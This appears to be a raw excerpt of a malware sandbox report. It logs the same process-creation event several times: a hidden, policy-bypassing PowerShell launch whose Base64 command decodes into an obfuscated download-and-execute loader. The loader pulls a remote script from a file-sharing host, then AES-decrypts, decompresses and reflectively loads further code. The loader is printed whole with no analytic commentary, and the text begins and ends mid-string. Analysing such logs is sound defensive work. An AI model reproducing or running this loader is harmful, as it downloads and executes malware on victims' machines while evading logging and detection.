jc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0